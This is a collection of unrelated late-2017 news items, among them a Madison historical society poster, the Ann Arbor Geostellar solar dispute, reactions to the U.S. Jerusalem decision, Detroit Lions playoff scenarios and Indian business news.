Managing Editor Cassandra Day can be reached at cassandra.day@

hearstmediact.com.
MADDISON  The Madison Historical Society, in partnership with the Madison Art Society and local artists, is selling an art poster celebrating all that is unique to Madison, according to a press release. The poster project was launched in March as part of the historical societys centennial celebration. Residents were asked to respond to the question, What makes Madison special?

Using the letters of the alphabet, respondents offered ideas for natural features, events, people, places, and objects that best represent Madison.

Nearly 500 entries, including a rhyming poem, were received with suggestions for every letter. After all the responses were gathered, members of the MHS centennial committee chose the winning entries and coordinated with the Art Society and with local artists who created original paintings to fill the full-color poster.

The poster, designed and spearheaded by Madison native Rick Camp, was inspired by a crowd-sourced art project developed by the Craftsbury Historical Society and the Craftsbury Public Library in northern Vermont.

They asked the public to describe what they loved most about their town. Local artists illustrated the results and produced a poster, said Camp in the statement. I guess you could say I stole the idea from them, but I discovered they stole it from New Hampshire, who stole it from England. What it brought home to me was that town residents all have different reasons for loving their town and it was heart-warming for the MHS to see the responses in our ballot boxes confirming how even the smallest things are important to our residents.

The society recognized Beth Wardwell and Bev Schirmeier for their contributions to the project and for helping to coordinate the work of the other artists. We are equally grateful for the artistic contributions of Bill Colrus, Bill Dowling, Mike Eagle, Hillary Griffin, and Betsey Piner. Works from the late George Love were graciously donated by the Madison Lions Club, who had commissioned paintings from Love for their annual greeting cards, members said.

The poster represents the last in a series of projects conceived and developed in 2017 to mark the Societys centennial anniversary. The poster can be purchased through the MHS website at www.madisonhistory.org, at the historical societys office at Lees Academy on the green, or through local retailers. This project was supported by a generous grant from Mattesons Maple Manor, a local producer of maple syrup.

SCORE to host free workshop

OLD SAYBROOK  The Southeastern Connecticut chapter of SCORE, a nonprofit association dedicated to the success of small businesses, will present a free Small Business Workshop on "Social Media Basics for Small Business, Tuesday, Jan. 9 at 6 p.m. in Old Saybrook Town Hall, 302 Main Street, Old Saybrook, led by Anne Driscoll.

This workshop will cover the practical application of social media marketing platforms for small businesses. You will learn the benefits of social media beyond marketing, and how you can harness the power of social platforms to help build your business.

Participants will review: Which platforms appeal to which demographics; which platforms are appropriate for specific business verticals; and how to quickly develop a Facebook business page to get you started online today. Advance registration for this workshop is required; email ScoreChapter@gmail.com or call 860-388-9508.

Driscoll is a Marketing and E-Commerce veteran who has worked with companies such as Victoria's Secret, Guitar Center, and Filene's Department Store, as well as smaller start-ups, to build integrated online marketing campaigns. Her work over the last decade has focused on marketing, branding, building and creating websites for large and small companies, SEO optimization, SEM, analytics, email marketing, affiliates, Amazon Marketplace as well as strategic growth consulting for small businesses. She is available as a SCORE mentor in E-Commerce and Marketing via Skype, Email, phone or in person out of the Mystic branch of SECT SCORE.

Learn more about becoming a SCORE volunteer at: www.score.org/volunteer.

Artistic competition begins for conservation stamp

Connecticuts Department of Energy and Environmental Protection (DEEP) is once again inviting artists to enter their waterfowl artwork in Connecticuts annual Migratory Bird Conservation (Duck) Stamp Art Contest. DEEP continues to encourage local artists to submit entries that contain Connecticut specific imagery. The winning entry in this contest will be featured on the 2019 Connecticut Migratory Bird Conservation Stamp.

The Connecticut Migratory Bird Conservation Stamp Program is a great example of how conservation works - concerned citizens paying into a program that was formed to protect and enhance vital habitat. Being more than just a Duck Stamp, the conservation work it funds provides habitat for a multitude of wildlife species, including herons, egrets, fish, and amphibians, said DEEP Deputy Commissioner Susan Whalen.

By state law, funds generated from the sale of Connecticut Migratory Bird Conservation Stamps can only be used for the development, management, preservation, conservation, acquisition, purchase, and maintenance of waterfowl habitat and wetlands, as well as the purchase and acquisition of recreational rights or interests relating to migratory birds, said Whalen.

The contest is open to all artists (including Junior Duck Stamp artists), regardless of residence, age, or experience. Artwork may be in any full-color medium, including acrylic, oil, colored pencil, and watercolor. Images that include a Connecticut scene or landmark are highly preferred. Entries will be judged on originality, artistic composition, anatomical accuracy, general rendering, and suitability for reproduction.

Entries must be received in person or postmarked on or before April 15, 2018, to be eligible. Entries should be sent to: CT Department of Energy and Environmental Protection, Attn: Migratory Game Bird Program, 391 Route 32, North Franklin, CT 06254.

Full contest rules, judging criteria, and an official entry certificate are available on the DEEP website at www.ct.gov/deep/ctduckstamp or by calling the DEEP Wildlife Divisions Franklin office at 860-418-5952.
Egypt's army said that a missile hit the airport in Arish in North Sinai on Tuesday, killing an officer and injuring two others.

The missile attack has also caused "partial damage" to a helicopter, the military said in a statement.

The airport was targeted during a visit by Egypt's defence and interior ministers to inspect forces and security in the city, the statement added.

Security forces have "dealt with the source of fire" and combed the surrounding area, the statement added, without elaborating further.

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Turkey has criticized the U.S. veto of a U.N. resolution that would have required President Donald Trump to rescind his declaration of Jerusalem as Israel's capital, saying Washington has lost its "impartiality" in the Middle East.

A Turkish Foreign Ministry statement on Monday said the fact that the resolution was approved by the 14 other Security Council members is "the most concrete indication of the illegitimacy" of the U.S. decision on Jerusalem.

The statement added that the veto had left the U.N. Security Council "in a state of failure" and said Turkey would continue to stand by the "Palestinian state and its people."

Turkish President Recep Tayyip Erdogan has been among the most vocal critics of Trump's decision to recognize Jerusalem.

Last week, the 57-member of the Organization of Islamic Cooperation, meeting in Istanbul, declared east Jerusalem the capital of occupied Palestine.

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Honda will reveal a two-motor hybrid Insight Prototype that will hit the market as the returning 2019 Insight at the North American International Auto Show in Detroit.

The automaker said in a news release that it will debut the prototype insight at its Monday, Jan. 15, 2018 press conference in the Cobo Center in Downtown Detroit. Honda said the 2019 Insight sedan will seat five, have five doors and land between the Accord and Civic in its passenger line.

The Insight will now be equipped with Honda's two-motor hybrid system in attempting to compete with other hybrid models in fuel economy.

"At the 2017 North American International Auto Show, we announced our Honda Electrification Initiative with the intention to make two-thirds of Honda's global vehicle sales electrified vehicles by 2030," Henio Arcangeli, Honda's vice president of automobile sales, said in a release. "With the Insight launching later in 2018 as the fifth electrified vehicle brought to market over the past year, we're demonstrating our commitment to that goal.

"You won't have to be an electrification advocate to appreciate the new Insight - it's a great car in its own right, independent of what's happening under the hood."

Honda says the Insight will be manufactured at its Greensburg, Indiana plant. The 2019 Honda Insight will hit dealerships in the U.S. sometime in early 2018. While the model coming to Detroit is officially labeled as a prototype and will be open to changes before the Insight makes its way to dealers, there shouldn't be too many changes as it is due out early next year.
ALLEN PARK -- The Detroit Lions still have a path to the postseason heading into Week 16, but it's longer and more complicated than ever.

They've won two straight games. But Carolina, the fifth seed, won its sixth game in seven weeks over the weekend. And Atlanta, the sixth seed, beat Tampa 24-21 on Monday night for its fifth win in six weeks.

So the Lions haven't made up any ground at all on the playoff field, and with just two weeks left to do so, their playoff chances have fallen to 14 percent according to fivethirtyeight.com.

To make the postseason, the Lions must sweep their remaining games against Cincinnati and Green Bay, plus get some help. Here are the ways it can be done. (There are other situations involving ties, but you need a Ph.D. in advanced linear calculus to figure them out.)

They could pass the Falcons if: The Lions win out, and the Falcons lose out. Pretty simple. And with Atlanta's remaining schedule including a road game against New Orleans before returning home to face Carolina, perhaps it is the most realistic path forward.

They could pass the Panthers if: The Lions win out, the Panthers lose out, plus either the Cowboys or Seahawks win out. Detroit lost to Carolina in Week 5, so it would lose a two-way tiebreaker no matter what. That's why Dallas or Seattle must win out too, creating a three-way scenario. Then it goes to conference record, which Detroit would win.

They could pass the Saints if: They win out and the Saints lose out, plus either the Cowboys or Seahawks win out. Same deal. Detroit lost to New Orleans, so it would lose a head-to-head tiebreaker. It needs a three-way tie with Dallas or Seattle to force the tiebreaker to conference record.

x-1. Eagles (12-2)

Current streak: Won two

Last five: 4-1

Remaining schedule: Raiders, vs Cowboys

z-2. Vikings (11-3)

Current streak: Won one

Last five: 4-1

Remaining schedule: at Packers, Bears

3. Rams (10-4)

Current streak: Won one

Last five: 3-2

Remaining schedule: at Titans, 49ers

4. Saints (10-4)

Current streak: Won one

Last five: 3-2

Remaining schedule: Falcons, at Buccaneers

5. Panthers (10-4)

Current streak: Won two

Last five: 4-1

Remaining schedule: Buccaneers, at Falcons

6. Falcons (9-5)

Current streak: Won two

Last five: 4-1

Remaining schedule: at Saints, Panthers

-------

7. Lions (8-6)

Current streak: Won two

Last five: 3-2

Remaining schedule: at Bengals, Packers

8. Seahawks (8-6)

Current streak: Lost two

Last five: 2-3

Remaining schedule: at Cowboys, Cardinals

10. Cowboys (8-6)

Current streak: Won three

Last five: 3-2

Remaining schedule: Seahawks, at Eagles

9. Packers (7-7)

Current streak: Lost one

Last five: 2-3

Remaining schedule: Vikings, at Lions

x -- clinched division and bye

z -- clinched division
ANN ARBOR, MI - An Oakland County-based electrical contractor says homeowners who paid for solar panels through the Ann Arbor Solar Club program will get their promised arrays soon.



"Oak is going to make this right ... and we're going to lose money doing this," said Jeremy Zinn, project manager and master electrician at Oak Electric Service Inc. in Waterford Township.



Zinn said Oak Electric is going to work through the winter to fulfill outstanding commitments made by West Virginia-based Geostellar, which took down payments from several homeowners months ago for solar arrays that haven't been installed yet.



Geostellar claims a "cash crunch" has negatively impacted its ability to fulfill commitments.



Geostellar is an out-of-state middleman that lined up solar installation work for Oak Electric via a group-purchase program backed by the city of Ann Arbor and open to all Washtenaw County residents.



Teaming up with Geostellar, the city and the local nonprofit Clean Energy Coalition jointly announced the program earlier this year as a way to help the city meet its renewable energy goals.



The CEC is the city's community-solar contractor and partnered with Geostellar to provide information about Geostellar's services to residents in exchange for Geostellar's commitment to offer customers special pricing using an Ann Arbor Solar Club code.



The program was intended to help make going solar simple and affordable, but going through an out-of-state middleman instead of directly through a local solar installer has proven to be a hassle for several residents who paid thousands of dollars to Geostellar and still haven't gotten their solar panels. For others, it has worked out and they now have solar panels on their homes.



According to Geostellar, there are nine local homeowners who made payments for solar installations that haven't happened yet.



"Jeremy Zinn at Oak Electric very generously offered to make good on all of the commitments at a loss. In total, Oak Electric will probably lose about $85,000 in order to fix this for everyone in Ann Arbor," said David Levine, CEO of Geostellar.



Zinn said it probably won't be that much, though the company is going to take a loss. He said hopefully it won't be too much.



He said the main goal is keeping customers happy. He said he doesn't want this to give the solar industry a black eye.



Zinn said those still waiting for arrays probably will get them in the next six weeks, depending on the weather, and definitely by spring.



Geostellar, which hopes to relaunch its online platform, is putting its faith in the launch of a solar cryptocurrency token as it looks to bounce back from its financial problems.



Geostellar is now working with an entity called Indeco, and the token is being referred to as "the indecoin."



Levine said he has offered to compensate Oak Electric with "crypto assets" if the program comes to fruition, in order to ease the pain of making good on Geostellar's commitments at a loss.



"Jeremy said that Oak would do the work regardless of any additional consideration," he said. "We hope that Oak doesn't need to bear the full burden of their generous offer, and that both Oak and the homeowners of Ann Arbor come out of this on higher ground."



Zinn said Oak Electric isn't going to be working with Indeco or accepting any cryptocurrency.



Zinn said Oak Electric and Geostellar have been working together for more than two years, and Geostellar has lined up work for Oak Electric elsewhere in Michigan before the launch of the Ann Arbor program at the beginning of this year. He said other residents outside of Washtenaw County who paid money to Geostellar have been similarly affected by the company's financial problems.

Zinn said he's washing his hands of Geostellar and no longer trusts the company, but Oak Electric has agreed to make things right for customers who paid money to Geostellar.



Like customers who paid Geostellar money and haven't gotten solar arrays yet, Zinn said Oak Electric also has suffered losses.



The way the program worked, Zinn said, Geostellar would sell a project and then line up a local contractor to install the solar array.



He said the process was working at first, but around July was when payments started becoming overdue.



He said Geostellar was running into cash-flow problems by then and Oak Electric couldn't get paid on projects, and Geostellar couldn't order equipment for future projects.



Residents are now frustrated that months have gone by and they haven't gotten their solar arrays after they shelled out thousands of dollars. Zinn said he shares their frustration.



"Since October I've heard one thing or another, all just excuses from Geostellar," he said.



Zinn said he received a lot of phone calls from Geostellar's clients because he seemed to be the only person they could reach. The Geostellar website is no longer functioning.



Zinn said Geostellar eventually reached out to him in November, asking if he would take over the projects while Geostellar kept the deposits, and he "kind of laughed" at that.



He said Geostellar had $227,000 worth of solar arrays to be installed and had taken $85,000 in deposits.



He said Geostellar's idea was to have Oak Electric finish the jobs with what was left over, at a loss for Oak Electric. He said he asked about the deposits but didn't get a clear answer, and he tried to negotiate to get some of the deposits back.



He said luckily some residents who made down payments to Geostellar using credit cards and PayPal are able to get some of their money back, depending on how recent the deposit was.



Zinn argues Geostellar has committed a Builders Trust Fund Act violation that could hold jail time for Geostellar employees, but Oak Electric is essentially bailing them out.



Levine said Geostellar is focused on successful outcomes for all homeowners and believes all claims will be resolved through close coordination between Oak Electric, the CEC and Geostellar.



"This has been, and will likely continue to be, a challenging process, and we very much regret the significant inconvenience to homeowners as we work through our resolutions," Levine said.



"We don't believe there will be any need for claims to be filed during the course of the resolution."



Zinn said Oak Electric has started working on some of the Geostellar projects that are remaining. He said he already has made a deal with one resident to install a system in the next few weeks, and there will be a meeting with remaining Geostellar customers later this week.



"I want to help these clients out, but I haven't heard if Clean Energy or Ann Arbor is willing to help," he said.



The CEC has not responded to requests for comment. Asked whether the city is considering any alternative remedies for those affected, the city would only say that it's monitoring the situation.



According to the city, the city has no contract or other legal relationship with Geostellar.



"The city is aware of issues involving homeowners not having work performed in a timely manner by Geostellar," said Robert Kellar, a spokesman for the city's public services unit. "We have been monitoring the situation as it impacts those taking part in the Ann Arbor Solar Club and hope Geostellar is able to meet its obligations to its customers, as it has recently stated it has the intention of doing."



Zinn argues Oak Electric and a local supply house are both out "quite a bit of money" because of the program's setbacks.



He said it's his hope that, if Ann Arbor does another solar program, it will use Oak Electric as the exclusive vendor for a while to help the company recoup some of its losses.



He said this can be a learning lesson for Ann Arbor to stick with working directly with Michigan solar installers.



Other solar installers in the Ann Arbor area include Homeland Solar and SUR Energy.



Zinn said Oak Electric is one of the leading solar installers in Michigan with more than 500 arrays installed.



"This is one of the reasons we were chosen for this program, along with other programs that have been brought out by utilities over the years," he said, adding Oak is also well versed in heating, cooling and plumbing and is "here for the long haul" even if solar incentives go away and other solar installers collapse.
ANN ARBOR, MI - The Michigan Health Endowment Fund has awarded $500,000 to the Jo Elyn Nyman Anchors Programs for Children at Hospice of Michigan.

The money was awarded with the intention of funding a pilot program for children battling chronic, complex health issues, according to a press release.

While working with C.S. Mott Children's Hospital, the Pediatric Chronic Complex Care Program will provide family-centered, sustainable service to the children living with medical challenges that are currently receiving the necessary treatment through their specialists providers, per the release.

The program is designed to decrease the amount of time children with life-long serious conditions spend in hospitals.

The program provides around-the-clock support for pediatric patients, which includes a medical director, nurse practitioners, social workers and other specialists based on each child's needs.

The anchors programs will team up with C.S. Mott Children's Hospital for the program's first year. The goal is to add a second children's hospital after that to expand the number of patients reached, per the release.

Dr. Kenneth Pituch, professor of pediatrics and medical director of the Pediatric Palliative Care Program at C.S. Mott Children's Hospital, said the program's goal is to limit the amount of stress the families of these children go through.

"Simply having a child with chronic, complex health issues is emotionally and physically challenging for families," Pituch said in the release. "Navigating health care through multiple sources adds an additional set of difficulties that we are looking to ease through the Pediatric Chronic Complex Care program.

"We are dedicated to reducing the stress families face and helping to enhance quality of life for these fragile children by decreasing their emergency room visits and hospital stays. The Anchors Programs for Children is grateful to receive generous support through the Michigan Health Endowment Fund to establish this home-based care program."

To learn more about the program, call 888-247-5704.
Russia says it's ready to become "an honest mediator" between the Israelis and Palestinians, a role the United States has played for years.

Russia's deputy U.N. ambassador Vladimir Safronkov offered Russia's role in a speech to the U.N. Security Council Monday. It came after he supported a resolution, vetoed by the U.S., that would have required President Donald Trump to rescind his decision declaring Jerusalem the capital of Israel.

Palestinian President Mahmoud Abbas rejected the U.S. as a mediator following Trump's action.

Safronkov said it's becoming more important to move "as possible towards direct Israeli-Palestinian negotiations."

He reiterated Russia's proposal to hold a summit between the Palestinian and Israeli leaders and says his country is ready to be "an honest mediator."

Safronkov also reiterated Foreign Minister Sergey Lavrov's call for the Security Council to conduct "a comprehensive review of the situation in the Middle East."

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The UN's human rights chief said Tuesday he was "truly shocked" by Israeli troops' killing of a wheelchair-bound Palestinian protester in the besieged Gaza, and demanded an "independent and impartial investigation".

Ibrahim Abu Thurayeh, a 29-year-old who lost his legs after an Israeli attack a decade ago, was among five Palestinians killed on Friday during protests against US President Donald Trump's decision to recognise Jerusalem as the capital of Israel.

In a statement, UN High Commissioner for Human Rights Zeid Ra'ad Al Hussein slammed Trump's decision as "dangerously provocative" and blamed it for the violence.

The UN human rights office said Abu Thurayeh was among hundreds of Palestinians who marched across farmland towards the fence separating Gaza from Israel, and appeared to have been shot in the head when he was 20 metres (yards) from the barrier.

"The facts gathered so far by my staff in Gaza strongly suggest that the force used against Ibrahim Abu Thurayeh was excessive," Zeid said.

"As far as we can see, there is nothing whatsoever to suggest that Ibrahim Abu Thurayeh was posing an imminent threat of death or serious injury when he was killed.

"Given his severe disability, which must have been clearly visible to those who shot him, his killing is incomprehensible - a truly shocking and wanton act."

In video footage recorded early on Friday, Abu Thurayeh could be seen carrying the Palestinian flag and waving the victory sign at Israeli soldiers across the border.

Israel had seized control of the eastern part of the city in the 1967 Middle East war and annexed East Jerusalem in 1980, a move that has never been recognised by the international community.

The Palestinians have long-demanded occupied East Jerusalem for the capital of their future state.

Peace negotiations between the Palestinian authorities and Israel  which have lasted for more than two decades based on the 1993 Oslo accords  have broken down since 2014.

In recent years, Israel has intensified the construction of hundreds of illegal Jewish settlements in occupied East Jerusalem and the West Bank, thus creating new demographics that weaken the abilities of the Palestinians to build a geographically contiguous state.

There are an estimated 4.3 million Palestinians who live in the occupied territories; two million in Gaza, two million in the West Bank and 325,000 in East Jerusalem.

The Israeli crackdown on Palestinian protests against Trump's decision has left at least 11 Palestinians killed and more than 3,000 injured in the Gaza Strip, East Jerusalem and the West Bank.

Over the past 50 years, the US has repeatedly vetoed resolutions that condemn Israeli aggression or illegal settlement-construction.

"Israeli security forces have responded with firearms, including live-ammunition, to disperse the protesters," the rights office said.

"These events, including the loss of five irreplaceable human lives, can sadly be traced directly back to the unilateral US announcement on the status of Jerusalem, which breaks international consensus and was dangerously provocative."

While the Israeli army has reportedly conducted a preliminary internal probe into the events, Zeid urged "an independent and impartial investigation" to ensure perpetrators are held accountable.

*This story was edited by Ahram Online.

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Nandan Nilekani

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Former Infosys CFO V Balakrishnan today urged the Centre to get persons like the company's Nandan Nilekani or IT czars N R Narayana Murthy or Azim Premji for the reportedly proposed post of Chief Information Officer under the PMO.

"I think the government should get leaders from the tech industry to be the CIO. This will bring credibility to the process. People like Nandan had earlier worked in government and brought the needed change. They should also get somebody of that stature and calibre to be the CIO," Balakrishnan said.

"People like Narayana Murthy and Premji could also be considered," he told PTI. Balakrishnan said this in response to a query on who could be the most suitable candidate in the backdrop of reports that the centre is mulling to create the post of CIO, to help integrate IT strategies and policies related to various government departments.

Nilekani is presently Infosys Non-Executive Chairman, who in his earlier role as head of Unique Identification Authority of India, is considered the architect of Aadhaar.

However, to make the post of CIO effective, Balakrishnan said it is necessary to provide political cover and independence to the same. The post of CIO will ensure govermment gets better returns in its technology investments, he said. "With increased focus on digital and data security there needs to be a cohesive effort from all government arms in adopting and executing technology solutions for governance," Balakrishnan said. Former Infosys CFO and investor T V Mohandas Pai also pitched for the CIO's post.

"I totally agree (that India should have a CIO under Prime Minister's Office). The government needs this to create a tech vision for itself," Pai said. This will help integrate IT strategies and policies related to various departments, he said.

India also needs a Chief Data Scientist to enable use of big data, he added. In the light of a large part of financial transactions and technology back-end in India likely to be inter-linked with Aadhaar number, the role of CIO becomes all the more important, he added.

The government plans to interlink financial transactions and technology back-end with Aadhaar number by next financial year. According to some media reports, the role of CIO will be reportedly similar to that of a White House CIO, who is also responsible for designing an inter-operable IT infrastructure of the administration.

The White House CIO is also reportedly responsible for managing the IT spending of the federal government. IT experts feel CIO could push for open source procurement of software which could lead to more efficient spending of taxpayers' money on IT expenditure by the centre.
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Telecom operator Bharti Airtel today said that it has signed an agreement with Millicom International Cellular S.A. to acquire 100 per cent stake in its Rwanda operation which operates under the brand name of Tigo Rwanda.

"Bharti Airtel Limited...has entered into a definitive agreement with Millicom International Cellular S.A. (Millicom) under which Airtel Rwanda Limited will acquire 100 per cent equity interest in Tigo Rwanda Limited," Bharti Airtel said in a statement.

Under this deal, Tigo's 370 million customers will join the network of Airtel Rwanda. The acquisition will make Airtel Rwanda the second largest operator in the country with revenues of over USD 80 million and a revenue market share of over 40 per cent, the statement said.

"The consideration for the transaction is based on approximately 6x EBITDA multiple, payable over two years. The agreement is subject to regulatory and statutory approvals," the statement said.

Airtel at present operates in 15 African countries apart from India and South Asia.

"Airtel and Tigo have already merged their operations to create a strong viable entity in Ghana. Today, it has taken yet another important step to acquire Tigo Rwanda to become a profitable and a strong challenger in a two-player market," Bharti Airtel Chairman, Sunil Bharti Mittal said.

In the past, Airtel acquired assets in Uganda (Warid) and Congo B (Warid), Kenya (yu Mobile) and consolidated operations in Ghana (Millicom).

"We are also committed to the long term viability of our operations in two other countries i.e. Kenya and Tanzania, to ensure that in 2018 all our 15 operations in Africa start contributing positive margins and cash flows towards a healthy and profitable Airtel Africa," Mittal said.

Airtel is one of the largest telecom service providers across the continent in terms of geographical reach and had close to 83 million customers at the end of quarter ended September 30, 2017, the statement said.
Sudarshan Sukhani of s2analytics.com told CNBC-TV18, "Jain Irrigation Systems is responding to news, agro stocks will probably do well. However, I dont have an opinion to buy Jain Irrigation. There are many other opportunities in midcaps, so, Jain Irrigation is not in my list, but many other stocks would be."

"Any number of midcap stocks are available. Bharat Forge is in my list today to buy. So I suggest traders should be looking at Bharat Forge. A brief correction is over in that."

"Yes Bank has gone through a deep correction, and that correction is giving signs of getting over. So, there is probably more upside here and a decent bounce can be expected," he said.

"Metals and minerals are now coming out of some kind of a small dip and NMDC is also giving us sense that higher levels are coming. The stock is a short term trade while Yes Bank and Bharat Forge could actually be taken as positional trade."

"Lupin is bottoming out. The pharmaceutical sector is also giving signs of life now, so, be patient, hold on to Lupin."

"My suggestion is to sell Dalmia Bharat . I dont have a target price that would be ambitious or high enough. In fact if you see the charts, the stock has been falling consistently. It is an underperformer even in the sugar sector, so, why hold on to it? My suggestion is dont look at targets, just sell it off and switch to anything else," he added.
Fair trade regulator CCI has approved the scheme of amalgamation between IndusInd Bank and Bharat Financial Inclusion.

The Competition Commission of India (CCI) intimated that the commission in its meeting held today considered the proposed combination and approved the same, a regulatory filing on stock exchanges by both companies said.

The scheme remains subject to the receipt of approval from the RBI and regulatory approval including approvals of the stock exchanges, Sebi, the National Company Law Tribunal and respective shareholders, it said.

IndusInd Bank in October decided to acquire country's leading microfinance player Bharat Financial Inclusion Limited (BFIL).

The merger will be effected through an all-stock transaction of BFIL into IndusInd through a Composite Scheme of Arrangement.

Post merger, the new entity will have 4,000 branches and outlets and 16 million customers.

The appointed date for the composite scheme is January 1, 2018.

BFIL, formerly SKS Microfinance, had a customer base of 68 lakh and loan portfolio of Rs 7,709 crore as of June 30.

However, the microfinance company suffered a loss of Rs 37 crore for the quarter to June as against Rs 236 crore in the same period a year ago. For 2016-17, the company had recorded a profit of Rs 290 crore.
Pope Francis and Jordan's King Abdullah on Tuesday discussed U.S. President Donald Trump's decision to recognise Jerusalem as Israel's capital, a move that both say is dangerous to Middle East peace.

Abdullah and the pope spoke privately for about 20 minutes at the start of the king's visit to the Vatican and France.

A Vatican statement said they discussed "the promotion of peace and stability in the Mideast, with particular reference to the question of Jerusalem and the role of the Hashemite Sovereign as Custodian of the Holy Places".

King Abdullahs Hashemite dynasty is the custodian of the Muslim holy sites in Jerusalem, making Amman sensitive to any changes of status of the holy city.

When Trump announced his decision on Dec. 6, the pope responded by calling for the city's "status quo" to be respected, saying new tension in the Middle East would further inflame world conflicts.

Among an outpouring of international criticism, Jordan also rejected the U.S. decision, calling it legally "null" because it consolidated Israel's occupation of the eastern sector of the city.

The United States was further isolated over the issue on Monday when it blocked a U.N. Security Council call for the declaration to be withdrawn.

Both the Vatican and Jordan back a two-state solution to the Palestinian-Israeli conflict, with them agreeing on the status of Jerusalem as part of the peace process.

Palestinians want East Jerusalem as the capital of their future independent state, whereas Israel has declared the whole city to be its "united and eternal" capital.

The statement said both sides wanted to encourage negotiations.

The Israeli crackdown on Palestinian protests against Trump's decision has left at least 11 Palestinians killed and more than 3,000 injured in the Gaza Strip, East Jerusalem and the West Bank.

* This story has been edited by Ahram Online

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Post the Gujarat elections, what may be the changes in government policy, will there be a focus on farm policies? In an interview with CNBC-TV18, Rajnish Kumar, Chairman of State Bank of India (SBI) discussed about the same.

We are seeing some distress in the rural sector and therefore the farm loan waivers in many states have come. So the plan which the Prime Minister Narendra Modi has said about doubling the income of farm sector by 2022  some action is definitely expected there, he said.

Crop insurance has been a positive move for farmers, he added.

Portfolio growth in agriculture book is lower than last year but our efforts to renew the Kisan Credit Card (KCC) is going at the fullest speed and the percentage of renewals is much higher compared to the previous year, said Kumar.

On Micro, Small & Medium Enterprises (MSME) he mentioned that it is definitely a focused area for the government but it will be a focused area for banks also.

According to him, MSME sector is a better risk profile than corporates right now.

Number in stressed assets wont move up, he further mentioned.

Below is the verbatim transcript of the interview.

Latha: According to you, what may be the lessons or what may be the changes in policy that we may expect from the government? There are a lot of people who are expecting a farm focus.

A: That is a right expectation and what we are seeing that there is some distress in the rural sector and that is why the farm loan waivers in many states have come. So there is definitely a need that the plan which the Prime Minister has said about doubling the income of the farm sector by 2022, so, some action is definitely expected in that direction and particularly, there may be a time to have a relook at the minimum support price (MSP).

Latha: Would that worry you, if the MSPs were raised, after all the monetary policy committee (MPC) has a mandate to look at inflation and keep it at 4 percent. So, if food inflation were to rise because of higher MSP, will you have a problem of higher yields?

A: That is definitely an issue but it requires a little bit more research and the people who work in the field that whether the MSP if it is not raised and whether we live with the lower incomes for the farm sector or some balancing act where farmers get remunerative prices and in the process there may be some hike in the food inflation. So it is a very delicate balancing act I admit, but it is still I believe that in the farm sector the one thing which has happened very positive is about the crop loan insurance facility might be used now.

The second is MSP is one way where the cost of inputs  farmer does not get compensated for that, then how do you ensure that farmers get a remunerative price or are able to recover their costs. So there has to be some way for this where the inflation is also controlled but at the same time the farmers are not deprived of a decent income for the hard work they do in the field.

Sonia: What is the situation as far as agri finance is concerned at the moment, State Bank of India (SBI) has a huge market share there, almost 30 percent, how is the loan growth and are we looking at more stressed assets, etc.?

A: We are not looking at any elevated stressed assets. In some of the states where the growth in agriculture finance because a lot of money came under agriculture debt, they were not necessarily in NPA accounts, but overall because in Maharashtra and Uttar Pradesh (UP) there was flow of money in the accounts. So at macro level or the consolidated level, our portfolio growth this time is lower than the last year. However, our effort to renew the kisan credit card (KCC), that is going at full speed and the percentage of renewals is much higher compared to the previous year.

Latha: There was a passing reference when the capitalisation plan was announced that the banks would be goaded to give loans to Mudra kind of companies, MSMEs. Are you expecting some MSMEs targets when the capital comes?

A: MSME definitely is a focus area for the government but let me also say that MSME sector will be a focus area for the banks also because now what we have realised that earlier there was a fear that MSME will have higher delinquencies, but what is turning out to be is that MSME is a better bet when it comes to the risk compared to the corporates at least in the current situation. So that makes imminent business sense that the flow of credit improves to MSME sector and there are changes in the method of lending.

Latha: So we dont have to fear that MSME focus will mean more stress?

A: No not at all.

Latha: One of the conversations we just had with one of the market veterans is that the amount of provisioning done in terms of 50 percent for the say around 40 NCLT cases, may be inadequate, that in some of them the haircuts may be deeper. Is that your sense as well, how much more can it be on an average for these cases, could it be 60 percent?

A: About the NCLT cases, in fact in SBI we are holding more than 50 percent provision but my feeling is that on a portfolio basis, the numbers may be just adequate or maybe short by 5-7 percent. So maybe like 55 percent would be a very safe bet. However, still like in certain sectors because the scenario has turned out to be more bullish particularly steel sector which constituted large percentage of NPA. So, 50 percent would mean that even if there is some shortfall, it is not so much that the banks will not be able to meet that shortfall.

Sonia: You did mention that crop insurance has been a very positive move for the farmers. You guys at SBI have also undertaken a lot of camps in order to smoothen the flow of credit to the farming community as well. What else would you expect to hear from the government with regards to solving or reducing the farmer distress?

A: I have mentioned that remunerative prices for their crops that is one thing which comes to my mind. So basically once the farmers have the protection of any loss on account of any natural calamities, once that risk is covered, and anyone who invests, whether it is a farmer or industry or anything, wherever you invest money and you invest time and do labour, you expect a decent return on that investment. So it is fair that farmers are also given a fair deal as far as the MSP is concerned.

Latha: At the moment your NPA stands at about 9.9 percent. Is that the peak, how many quarters more can we have higher slippages, what are you looking at as a possible NPA number say four quarters down the line?

A: One is that if you look at our numbers in September, there is an improvement on the accretion of fresh NPAs. However, there are some stressed assets. Let me put it this way, if we look at the NPA numbers, and the stressed assets, then that number is not going to go up, it is going to come down in next two to three quarters. So, you have to look at the NPA plus stressed asset number together.
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The Indian Steel Association, an industry body representing companies accounting for 60 percent of the crude steel produced in the country, has sought Steel Secretary Aruna Sharmas intervention to resolve the issue of shortage of rail rakes. The lack of movement of raw materials like iron-ore and coal from mines as well as ports has forced steel manufacturers to scale back production.

The problem is more acute in case of movement of iron-ore from south eastern and east coast railways, and imported coal docked at Paradip, Dhamra and Vishakhapatanam ports.

The affected producers include state-owned manufacturers like Steel Authority of India and Rashtriya Ispat Nigam, private companies like Jindal Steel & Power and Bhushan Steel, and many smaller plants located in Chhattisgarh, Jharkhand and Odisha.

In a December 13 letter written to Sharma, Indian Steel Associations Secretary General and Executive Head Bhaskar Chatterjee requested the secretary to take up the matter with the Railways at the highest level.

We request your urgent intervention to restore the rake supply to steel sector pre-October levels and meet its demand. The steel industry needs a minimum of 35-40 additional rakes per day for meeting its raw material requirements then (sic) than is being available at present, Chhatterjee wrote in the letter, a copy of which was seen by Moneycontrol.

The shortage of rail rakes has led to a piquant situation, according to the letter. While on one hand, it has led to a shortage of raw material supplies to steel plants, there is also an inventory pile-up of the finished steel product which is hurting both its domestic as well as export volumes.

The letter pointed out that iron-ore stocks at several steel plants had reached critical levels and some companies could be forced to suspend production.
Reports have been indicating that a coal price hike is around the corner and Coal India is looking at the potential of hiking prices.

In an interview with CNBC-TV18, Gopal Singh, CMD of the company spoke about the latest happenings in his company and sector.

We are a listed company, so I cannot comment on coal price hike right now, he said.

Will surely take care of shareholder interest going forward, he added.

Disruptions in pet coke supply gave company a new market, said Singh.

